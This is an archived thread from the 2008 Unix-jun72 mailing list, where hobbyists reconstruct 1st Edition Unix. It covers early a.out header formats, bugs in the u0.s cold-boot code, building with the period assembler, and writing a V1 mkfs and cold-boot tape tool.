References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
Message-ID: <31410.1209664053@mini>


Tim Newsham wrote:
>> I wonder... hmmm.  if the V1 a.out header where 12 bytes long, then
>> everything would just automagically work.
>
>The 1ed man pages are online.  I looked at them and it said that the
>header consists of 6 words, but that the text length included the
>header size.  However, I had to skip the first 16 bytes of the
>text segment (including header) to line up the various labels in
>u0.s (.=orig+100,  .=orig+200, etc..)

yes, I think 0405 and 0407 a.out's are different.

I believe the V7 headers are 16 bytes and the text section starts at zero.
(heh, memory management)

The v1 headers are 12 bytes and the text section starts at 014 (i.e. the
header is part of the text section and *it* begins at zero, not the code)

So, if we assemble with the v7 as we need to adjust things a bit.

-brad


From newsham at lava.net  Fri May  2 03:54:29 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 07:54:29 -1000 (HST)
Subject: [Unix-jun72] more corrections
In-Reply-To: <31410.1209664053@mini>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
Message-ID: <Pine.BSI.4.64.0805010750210.20990@malasada.lava.net>

On Thu, 1 May 2008, Brad Parker wrote:
> I believe the V7 headers are 16 bytes and the text section starts at zero.
> (heh, memory management)
>
> The v1 headers are 12 bytes and the text section starts at 014 (i.e. the
> header is part of the text section and *it* begins at zero, not the code)
>
> So, if we assemble with the v7 as we need to adjust things a bit.

Ahh, that makes sense.  So if we build with the 1ed "as" then those
first few lines should be commented out since they will be occupied
by the a.out header.  Ahh!  yess, it makes sense, e00-02 has
a section at orig+400 "copy in transfer fectors" where those
vectors are overwritten during startup.

We really should try building with the 1ed assembler.  I think a simple 
sed s/mount/xmount/ over the whole sources will probably fix the mount 
label issue.

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Fri May  2 04:15:14 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 08:15:14 -1000 (HST)
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010750210.20990@malasada.lava.net>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
	<Pine.BSI.4.64.0805010750210.20990@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805010813260.20990@malasada.lava.net>

> Ahh, that makes sense.  So if we build with the 1ed "as" then those
> first few lines should be commented out since they will be occupied
> by the a.out header.  Ahh!  yess, it makes sense, e00-02 has
> a section at orig+400 "copy in transfer fectors" where those
> vectors are overwritten during startup.
>
> We really should try building with the 1ed assembler.  I think a simple
> sed s/mount/xmount/ over the whole sources will probably fix the mount
> label issue.

I adjusted my tools/dumpaout.py appropriately and tested with the 1ed
assembler.  If you sed all the files to s/mount/xmount/ it builds just
fine with 1ed "as" and the a.out header is indeed 6 bytes long and
is included in the text segment...  Everything is lining up..

So, I think those comment characters belong in the u0 sources, although
will have to be removed when compiling with a more recent assembler.

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Fri May  2 04:21:17 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 08:21:17 -1000 (HST)
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010813260.20990@malasada.lava.net>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
	<Pine.BSI.4.64.0805010750210.20990@malasada.lava.net>
	<Pine.BSI.4.64.0805010813260.20990@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805010820390.20990@malasada.lava.net>

> I adjusted my tools/dumpaout.py appropriately and tested with the 1ed
> assembler.  If you sed all the files to s/mount/xmount/ it builds just
> fine with 1ed "as" and the a.out header is indeed 6 bytes long and
> is included in the text segment...  Everything is lining up..

added tools/assem which builds using the 1ed "as".

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Fri May  2 04:34:10 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 08:34:10 -1000 (HST)
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010813260.20990@malasada.lava.net>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
	<Pine.BSI.4.64.0805010750210.20990@malasada.lava.net>
	<Pine.BSI.4.64.0805010813260.20990@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805010832060.20990@malasada.lava.net>

> I adjusted my tools/dumpaout.py appropriately and tested with the 1ed
> assembler.  If you sed all the files to s/mount/xmount/ it builds just
> fine with 1ed "as" and the a.out header is indeed 6 bytes long and
> is included in the text segment...  Everything is lining up..

ugh, I was wrong.. it was not lining up!  The 1ed "as" is also
using a 16-byte header.  This together with the "mount" issue is
making me think they used a different assembler for these sources.

.... so... we may have to either 1) alter the way as works, or 2)
remove those comment characters in the vector table...

I apologize for the earlier incorrect information and the flood of
emails..

Tim Newsham
http://www.thenewsh.com/~newsham/


From cowan at ccil.org  Fri May  2 05:02:26 2008
From: cowan at ccil.org (John Cowan)
Date: Thu, 1 May 2008 15:02:26 -0400
Subject: [Unix-jun72] more corrections
In-Reply-To: <31410.1209664053@mini>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
Message-ID: <20080501190226.GA29430@mercury.ccil.org>

Brad Parker scripsit:

> yes, I think 0405 and 0407 a.out's are different.
> 
> I believe the V7 headers are 16 bytes and the text section starts at zero.
> (heh, memory management)

Note that the whole point of the magic number being what it is, is
that it's a PDP-11 unconditional branch instruction to skip the rest of
the header.  That way the a.out file could be loaded header and all and
just started at its beginning by jumping into it.

-- 
Samuel Johnson on playing the violin:           John Cowan
"Difficult do you call it, Sir?                 cowan at ccil.org
 I wish it were impossible."                    http://www.ccil.org/~cowan


From brad at heeltoe.com  Fri May  2 06:37:44 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 16:37:44 -0400
Subject: [Unix-jun72] confused about disk clearing
Message-ID: <2048.1209674264@mini>


I'm confused about the disk clearing code in u0.s:

...
/ zero i list

1:
	dec    r0 / r0=33.,...,1
dec r1
	jsr    r0,clear / zero block 'r1' on fixed head disk
	tst    r1
	bgt    1b / if blocks 33,...,1 have all been zeroed, done.
...

I had to add the "dec r1" above to get it to work.  Otherwise it loops
forever.  Since 'clear' takes a block # in r1, I'm not sure it could
work as written...

anyone look at this?

If I add the "dec r1" it does write some sort of structure to the disk.  I'm
not sure it's correct, but it wrote a bunch of blocks.

-brad



From aek at bitsavers.org  Fri May  2 07:18:38 2008
From: aek at bitsavers.org (Al Kossow)
Date: Thu, 01 May 2008 14:18:38 -0700
Subject: [Unix-jun72] 11/20 handbook
In-Reply-To: <20080501190226.GA29430@mercury.ccil.org>
References: <29658.1209658194@mini>	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>	<30972.1209662573@mini>	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>	<31410.1209664053@mini>
	<20080501190226.GA29430@mercury.ccil.org>
Message-ID: <481A33AE.403@bitsavers.org>

the 11/20 handbook is now up
http://bitsavers.org/pdf/dec/pdp11/handbooks/PDP1120_Handbook_1972.pdf

EAE described starting at page 143



From newsham at lava.net  Fri May  2 07:23:50 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 11:23:50 -1000 (HST)
Subject: [Unix-jun72] confused about disk clearing
In-Reply-To: <2048.1209674264@mini>
References: <2048.1209674264@mini>
Message-ID: <Pine.BSI.4.64.0805011119180.20114@malasada.lava.net>

> I'm confused about the disk clearing code in u0.s:

It's possible the "cold" code was not maintained?

> / zero i list
>
> 1:
> 	dec    r0 / r0=33.,...,1
> dec r1
> 	jsr    r0,clear / zero block 'r1' on fixed head disk
> 	tst    r1
> 	bgt    1b / if blocks 33,...,1 have all been zeroed, done.

Hmm.. looking at the code the "dec r0" looks like it should be
"dec r1".  The value of r1 at this point is 34 (and r0 is not).
The comment is likely also wrong: "r1=33.,...,1".  This would
agree with the current values.  r0 looks to be used for an entirely
different purpose throughout the code (linking jsr's).

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Fri May  2 08:23:55 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 08:23:55 +1000
Subject: [Unix-jun72] Early a.out headers
In-Reply-To: <31410.1209664053@mini>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
Message-ID: <20080501222355.GA75266@minnie.tuhs.org>

On Thu, May 01, 2008 at 01:47:33PM -0400, Brad Parker wrote:
> yes, I think 0405 and 0407 a.out's are different.

I managed to scan in the 2nd Edition manuals, and they are available as a PDF
here: http://minnie.tuhs.org/Z/2ndEdManuals/unix_2nd_edition_manual.pdf
[ That URL is guaranteed to be ephemeral; Al, could you copy it to bitsavers? ]
The skew on some of the pages comes from the photocopy that I have. Apologies.

1st Edition a.out headers were 0405, 12 bytes long. 2nd Edition a.out headers
were 0407, 14 bytes long. In terms of the userland binaries we have from
this era (on the s2 tape at
http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/s2-bits.tar.gz), some binaries are 0405 and others are 0407. Here are the 0405 ones:

        bin/:           bin/mv
        bin/ar          bin/od
        bin/bas         bin/pr
        bin/cat         bin/rew
        bin/chball      bin/rmdir
        bin/check       bin/roff
        bin/chown       bin/sh
        bin/cmp         bin/skip
        bin/cp          bin/sort
        bin/date        bin/stat
        bin/db          bin/stty
        bin/dc          bin/su
        bin/df          bin/sum
        bin/du          bin/tap
        bin/echo        bin/tm
        bin/ed          bin/tty
        bin/exit        bin/wc
        bin/form        bin/who
        bin/goto        bin/write
        bin/if          etc/getty
        bin/login       etc/glob
        bin/ls          etc/init
        bin/mail        etc/msh
        bin/mesg        etc/suftab
        bin/mkdir

Here are the 0407 ones:

    bin/as                  usr/fort/fc1
    bin/cc                  usr/fort/fc2
    bin/ds                  usr/fort/fc3
    bin/fc                  usr/fort/fc4
    bin/find                usr/jack/a.out
    bin/ld                  usr/jack/x.o
    bin/maki                usr/lib/c0
    bin/nm                  usr/lib/c1
    bin/size                usr/lib/crt0.o
    bin/strip               usr/lib/fr0.o
    bin/un                  usr/sys/a.out
    etc/as2

As you can see, as and as2 are 0407, hence they are V2 binaries, and so
would be likely to output the V2 header.

I haven't read the the OCR'd kernel source fully yet; in the section for
exec(), there must be code to parse an a.out header. Does it only know
about 0405, or 0407, or both?

Hope this helps,
	Warren





> 
> I believe the V7 headers are 16 bytes and the text section starts at zero.
> (heh, memory management)
> 
> The v1 headers are 12 bytes and the text section starts at 014 (i.e. the
> header is part of the text section and *it* begins at zero, not the code)
> 
> So, if we assemble with the v7 as we need to adjust things a bit.
> 
> -brad
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72


From wkt at tuhs.org  Fri May  2 08:28:23 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 08:28:23 +1000
Subject: [Unix-jun72] Early a.out headers
In-Reply-To: <20080501222355.GA75266@minnie.tuhs.org>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini> <20080501222355.GA75266@minnie.tuhs.org>
Message-ID: <20080501222823.GA75548@minnie.tuhs.org>

On Fri, May 02, 2008 at 08:23:55AM +1000, Warren Toomey wrote:
> I haven't read the the OCR'd kernel source fully yet; in the section for
> exec(), there must be code to parse an a.out header. Does it only know
> about 0405, or 0407, or both?

I'll answer myself. sysexec() in u2.s has this:

        cmp     core,$405 / br .+14 is first instrution if file is
                          / standard a.out format
        bne     1f / branch, if not standard format

So the kernel is definitely 1st Edition, then.

	Warren


From wkt at tuhs.org  Fri May  2 08:51:28 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 08:51:28 +1000
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805010832060.20990@malasada.lava.net>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
	<Pine.BSI.4.64.0805010750210.20990@malasada.lava.net>
	<Pine.BSI.4.64.0805010813260.20990@malasada.lava.net>
	<Pine.BSI.4.64.0805010832060.20990@malasada.lava.net>
Message-ID: <20080501225128.GB75548@minnie.tuhs.org>

On Thu, May 01, 2008 at 08:34:10AM -1000, Tim Newsham wrote:
> > I adjusted my tools/dumpaout.py appropriately and tested with the 1ed
> > assembler.  If you sed all the files to s/mount/xmount/ it builds just
> > fine with 1ed "as" and the a.out header is indeed 6 bytes long and
> > is included in the text segment...  Everything is lining up..
> 
> ugh, I was wrong.. it was not lining up!  The 1ed "as" is also
> using a 16-byte header.  This together with the "mount" issue is
> making me think they used a different assembler for these sources.

Tim, I think the as we have from the s2 tape is a V2 assembler, as it has
an 0407 header, not an 0405 header.
 
> .... so... we may have to either 1) alter the way as works, or 2)
> remove those comment characters in the vector table...

Patching the V2 as binary to work like V1 is going to be hard. I even though
about modifying the V7 as to output 0405 headers, but again hard.

Given that we know the assembler has predefined symbols, which means
renaming $mount, I think we might as well take the path where we modify
the source code so that it can be built with the tools we have, which is
your option 2) above. And of course, document the changes.

Cheers,
	Warren


From aek at bitsavers.org  Fri May  2 09:01:43 2008
From: aek at bitsavers.org (Al Kossow)
Date: Thu, 01 May 2008 16:01:43 -0700
Subject: [Unix-jun72] Early a.out headers
In-Reply-To: <20080501222355.GA75266@minnie.tuhs.org>
References: <29658.1209658194@mini>	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>	<30972.1209662573@mini>	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>	<31410.1209664053@mini>
	<20080501222355.GA75266@minnie.tuhs.org>
Message-ID: <481A4BD7.3080202@bitsavers.org>

Warren Toomey wrote:
> Al, could you copy it to bitsavers?

done..

may try deskewing the pages at some point.




From Hellwig.Geisse at mni.fh-giessen.de  Fri May  2 09:09:53 2008
From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse)
Date: Fri, 02 May 2008 01:09:53 +0200
Subject: [Unix-jun72] 11/20 handbook
In-Reply-To: <481A33AE.403@bitsavers.org>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini> <20080501190226.GA29430@mercury.ccil.org>
	<481A33AE.403@bitsavers.org>
Message-ID: <1209683393.5140.996.camel@papa>

On Thu, 2008-05-01 at 14:18 -0700, Al Kossow wrote:
> the 11/20 handbook is now up
> http://bitsavers.org/pdf/dec/pdp11/handbooks/PDP1120_Handbook_1972.pdf
> 
> EAE described starting at page 143

Great! Many thanks for that.

Hellwig



From newsham at lava.net  Fri May  2 09:31:21 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 13:31:21 -1000 (HST)
Subject: [Unix-jun72] more corrections
In-Reply-To: <20080501225128.GB75548@minnie.tuhs.org>
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805010707340.20990@malasada.lava.net>
	<30972.1209662573@mini>
	<Pine.BSI.4.64.0805010726040.20990@malasada.lava.net>
	<31410.1209664053@mini>
	<Pine.BSI.4.64.0805010750210.20990@malasada.lava.net>
	<Pine.BSI.4.64.0805010813260.20990@malasada.lava.net>
	<Pine.BSI.4.64.0805010832060.20990@malasada.lava.net>
	<20080501225128.GB75548@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805011329350.20114@malasada.lava.net>

> Tim, I think the as we have from the s2 tape is a V2 assembler, as it has
> an 0407 header, not an 0405 header.

Yah, that makes sense.  I guess this means that the system we
rebuild won't be capable of building itself unless we somehow
find an old as or srcs.

> Given that we know the assembler has predefined symbols, which means
> renaming $mount, I think we might as well take the path where we modify
> the source code so that it can be built with the tools we have, which is
> your option 2) above. And of course, document the changes.

The approach I'm taking currently is to use the 1972_stuff "as" (v2)
using apout and some sed magic so that the original sources are
undisturbed.  The code is in the svn as tools/assem.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Fri May  2 09:42:25 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 09:42:25 +1000
Subject: [Unix-jun72] Anyone working on V1 mkfs?
Message-ID: <20080501234225.GA77327@minnie.tuhs.org>

We're going to need a filesystem. Is anybody working on tools to make one?
If not, I might start work on a mkfs for V1.

	Warren


From newsham at lava.net  Fri May  2 09:45:04 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 13:45:04 -1000 (HST)
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <20080501234225.GA77327@minnie.tuhs.org>
References: <20080501234225.GA77327@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805011343330.20114@malasada.lava.net>

> We're going to need a filesystem. Is anybody working on tools to make one?
> If not, I might start work on a mkfs for V1.

The u0.s srcs have code for writing out some filesystem data when the
kernel is built with the "cold" variable set.  I'm not sure how complete
it is.  It sounds like Brad has had some success getting it to run based
on his earlier emails.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Fri May  2 10:33:35 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 20:33:35 -0400
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <20080501234225.GA77327@minnie.tuhs.org> 
References: <20080501234225.GA77327@minnie.tuhs.org>
Message-ID: <5372.1209688415@mini>


Warren Toomey wrote:
>We're going to need a filesystem. Is anybody working on tools to make one?
>If not, I might start work on a mkfs for V1.

The kernel sources can built with "cold = 1" to build the root file
system on the RF disk.

It almost works now - it writes a bunch of blocks but not the directory
blocks (yet); something is now quite right but I'm pretty sure it can
be worked out.

The hardware bootstrap process is in the man pages - it looks somewhat
rational.  I have not studied it but I think the fun part will be making
a dectape image which has the binaries to be populated.

It all looked possible when I scanned it the other day.

Having said all that, having a working mkfs would be would be very handy
and would make setting up  a boot disk much easier!

-brad


From wkt at tuhs.org  Fri May  2 10:58:08 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 10:58:08 +1000
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <5372.1209688415@mini>
References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini>
Message-ID: <20080502005808.GA79200@minnie.tuhs.org>

On Thu, May 01, 2008 at 08:33:35PM -0400, Brad Parker wrote:
> The hardware bootstrap process is in the man pages - it looks somewhat
> rational.  I have not studied it but I think the fun part will be making
> a dectape image which has the binaries to be populated.

I was hoping to have a populated filesystem to start with, because we
should be able to run V1 bin/check using Apout, to check the filesystem.
 
> Having said all that, having a working mkfs would be would be very handy
> and would make setting up  a boot disk much easier!

The V1 manual for filesystem(5) say "Blocks 0 and 1 are collectively known
as the super-block for the device". Can you confirm that block 0 is part
of the super-block, i.e. it's not reserved for bootstrap code? If block 0
is the super-block, it should contain a word (# of bytes in free-map) followed
by lots of 0177 bytes, which are the free-map.

On another note, I thought of taking V6 mkfs.c as a start-point to rewrite
V1 mkfs. I'm trying to work out what f_m and f_n do:

        if(fsys[n] == 'r') {
                if(f == 'k') {
                        f_n = 24;	/* RK, why these numbers? */
                        f_m = 3;
                }
                if(f == 'p') {
                        f_n = 10;	/* RP, why these numbers? */
                        f_m = 4;
                }
        }

Finally, are we going to use RK03 or RK05, as the sizes are different?

Thanks all,
	Warren


From newsham at lava.net  Fri May  2 12:08:47 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 16:08:47 -1000 (HST)
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <20080502005808.GA79200@minnie.tuhs.org>
References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini>
	<20080502005808.GA79200@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805011559190.20114@malasada.lava.net>

> On another note, I thought of taking V6 mkfs.c as a start-point to rewrite
> V1 mkfs. I'm trying to work out what f_m and f_n do:
>
>        if(fsys[n] == 'r') {
>                if(f == 'k') {
>                        f_n = 24;	/* RK, why these numbers? */
>                        f_m = 3;
>                }
>                if(f == 'p') {
>                        f_n = 10;	/* RP, why these numbers? */
>                        f_m = 4;
>                }
>        }

Looks like they stagger the insertion of blocks onto the free list
so that they're not adjacent.  It first builds a table in adr[] of
the stagger offsets, then it frees blocks from the top linearly
until it hits a round number, then it allocates as many staggered
blocks as it can until finally returning to allocating the bottom
f_n blocks in a linear fashion again.  For example if f_n is 10 and
f_m is 4, and igh is 100 and low is 20 you puts blocks on the
list in this order:
     0,    - always zero first
     100   - linear at top
     99, 95, 91, 97, 93, 98, 94, 90, 96, 92, ...
     33, 38, 34, 30, 36, 32
     29, 28, 27, ... 22, 21, 20    -- linear at the bottom

as to why they chose these particular constants for these disks,
I can only guess that they figured having blocks roughly four
apart made for good performance due to read and seek latencies?

> Finally, are we going to use RK03 or RK05, as the sizes are different?

The sources mention "rk03" several times and give 4872 decimal as
the maximum block number allowed (and also rf0 with 1024 as maximum
block number).

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Fri May  2 12:31:22 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 12:31:22 +1000
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <20080502005808.GA79200@minnie.tuhs.org>
References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini>
	<20080502005808.GA79200@minnie.tuhs.org>
Message-ID: <20080502023122.GA82050@minnie.tuhs.org>

On Fri, May 02, 2008 at 10:58:08AM +1000, Warren Toomey wrote:
> On another note, I thought of taking V6 mkfs.c as a start-point to rewrite
> V1 mkfs.

I gave up and decided to write mkfs from scratch :-)

I'm a bit baffled on the i-node map and list. The V1 filesystem(5) manual says:

	I-numbers below 41 (base 10) are reserved for special files, and
	are never allocated; the first bit in the i-node free map refers
	to i-number 41. Therefore the byte number in the i-node map for
	i-node i is (i-41)/8 and offset (i-41)%8 bits from the right...

	I-numbers begin at 1, and the storage for i-nodes begins at block 2.
	Also, i-nodes are 32 bytes long, so 16 of them fit into a block.
	Therefore, i-node i is located in block (i+31)/16 of the file system,
	and begins 32*((i+31)%16) from its start.

	I-node 41 (base 10) is reserved for the root directory.

Now, I am assuming that this means:

  a) the i-mode bitmap is missing bits 0 to 40, but
  b) the actual i-nodes 0 to 40 do exist, and
  c) the system can still "read i-node 7", even if it can't allocate i-node 7.

Following the manual, the root directory i-node is number 41, so its
bit in the bitmap is (41-41)/8==0, offset (41-41)%8== bit 0. But the
actual i-node used is still i-node 41, so that is on block (41+31)/16==block4,
offset 256.

Let me know if that sounds right, or if I'm off-base somewhere.

Thanks,
	Warren


From newsham at lava.net  Fri May  2 12:45:22 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 16:45:22 -1000 (HST)
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <20080502023122.GA82050@minnie.tuhs.org>
References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini>
	<20080502005808.GA79200@minnie.tuhs.org>
	<20080502023122.GA82050@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805011642080.20114@malasada.lava.net>

>  a) the i-mode bitmap is missing bits 0 to 40, but

    The first bit is for i-number 41, yes.
    if(n >= 41) then to check if i-number n is allocated:
        map[(n-41)/8] & (1 << ((n-41)%8)

    if I read the bit ordering correctly.

>  b) the actual i-nodes 0 to 40 do exist, and

    Almost, there is no i-number 0.  The first one is i-number 1 which
    starts at byte zero of block 2.

       inode-block(n) = (n+31)/16
       inode-offset(n) = 32 * ((n+31)%16)

>  c) the system can still "read i-node 7", even if it can't allocate i-node 7.

    sounds like it.

> Let me know if that sounds right, or if I'm off-base somewhere.

Sounds like you got it, except for the i-numbering starting at 1.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Fri May  2 13:21:54 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 17:21:54 -1000 (HST)
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <20080502023122.GA82050@minnie.tuhs.org>
References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini>
	<20080502005808.GA79200@minnie.tuhs.org>
	<20080502023122.GA82050@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805011719290.20114@malasada.lava.net>

> I gave up and decided to write mkfs from scratch :-)

I did a little more research on the disks, and added my notes
to the machine.txt file.  Included below.  Looks like we should
be able to craft a tape image with a list of files and use the
cold boot mechanism to initialize the rf0 disk (which has to be
the root fs).  We may still want an mkfs for initializing an
rf03 later.

----------------

Disks:
    rf0 - 1024 blocks, always mounted, has root and swap.
          last 64 blocks (32kbyte) allocated to swap by u0.s
          u0.s can setup rudimentary fs on this if built with "cold=1"
    rk0 - 4871 blocks


u0.s sets up rf0 as:

    - superblock layout
      - free storage map contains 128 bytes
      - inode map contains 64 bytes

    - allocate top 64 blocks "to unix"  (960..1023)
    - allocate 17 blocks per process (nproc) (688..960 - 16 procs)
    - free blocks 687..34
    - zero out blocks 33..1 for use as inodes
      (and 2nd half of superblock which is unused?)

    - for each special inode i-1 to i-40 initialize it
      - mode 100017 (allocated, read, write, other read, othe write)
      - num links = 1
      - uid = 1 (yup, not root)
      - fill in timestamp info

   - write out premade i-nodes on i-41 .. i-47
     with premade directory data.
     i-41 root (with dev, bin, etc, usr, tmp)
     i-42 dev (with tty, ppt, mem, rf0, rk0, tap0 .. tap7, tty0..tty7, lpr, 
tty8)
     i-43 bin (empty)
     i-44 etc (with init)
     i-45 usr (empty)
     i-46 tmp (empty)
     i-47 init (binary, included in u0.s)
          special version that opens /dev/tap0 and reads files from it,
          creates them, chmods them and chowns them


Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Fri May  2 13:51:31 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 13:51:31 +1000
Subject: [Unix-jun72] Anyone working on V1 mkfs?
In-Reply-To: <Pine.BSI.4.64.0805011719290.20114@malasada.lava.net>
References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini>
	<20080502005808.GA79200@minnie.tuhs.org>
	<20080502023122.GA82050@minnie.tuhs.org>
	<Pine.BSI.4.64.0805011719290.20114@malasada.lava.net>
Message-ID: <20080502035131.GA85251@minnie.tuhs.org>

On Thu, May 01, 2008 at 05:21:54PM -1000, Tim Newsham wrote:
> >I gave up and decided to write mkfs from scratch :-)
> 
> I did a little more research on the disks, and added my notes
> to the machine.txt file.  Included below.  Looks like we should
> be able to craft a tape image with a list of files and use the
> cold boot mechanism to initialize the rf0 disk (which has to be
> the root fs).  We may still want an mkfs for initializing an
> rf03 later.

Thanks for the notes Tim. In mkfs, I'm creating the free list, the inodes
and inode list, and the rootdir, along with adding entries to a dir. Next
up, adding files to the image. It will probably be testable in a few days.

	Warren


From newsham at lava.net  Fri May  2 14:14:56 2008
From: newsham at lava.net (Tim Newsham)
Date: Thu, 1 May 2008 18:14:56 -1000 (HST)
Subject: [Unix-jun72] cold boot tape
Message-ID: <Pine.BSI.4.64.0805011810520.20114@malasada.lava.net>

I wrote a utility for building a cold boot tape and included it in the 
tools directory.  Its not yet tested so its possible I got the format 
wrong... its based on my reading of init at the end of u0.s.

It seems like the permissions in the s2.tar.gz file from the
1972_stuff reflect the original 1ed permission bits (at least the
low order bits do) so this makes restoring the original permissions
fairly easy.  Unfortunately the tar doesn't preserve the original
uids.  The included "Readme" does have the original uids, so its
possible to recreate the proper uids by hand.  If you do so,
my mktape utility should write out the proper uid and mode values.

The use is straightforward:

     cd /your/s2/directory
     /path/to/mktape.py bin/* etc/*

and you'll get a "tape" file out.  I believe you just need the
stuf in bin and etc.  The stuff from usr should probably go on
the rk03 disk after cold boot.

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Fri May  2 20:24:44 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 06:24:44 -0400
Subject: [Unix-jun72] more corrections
In-Reply-To: <Pine.BSI.4.64.0805011927100.20114@malasada.lava.net> 
References: <29658.1209658194@mini>
	<Pine.BSI.4.64.0805011927100.20114@malasada.lava.net>
Message-ID: <11428.1209723884@mini>


Tim Newsham wrote:
>
>How can I get the modified simh? 

Here's a diff against v36 and a tar of my working directory:

http://www.unlambda.com/download/pdp11/unix-jun72/KE.diff
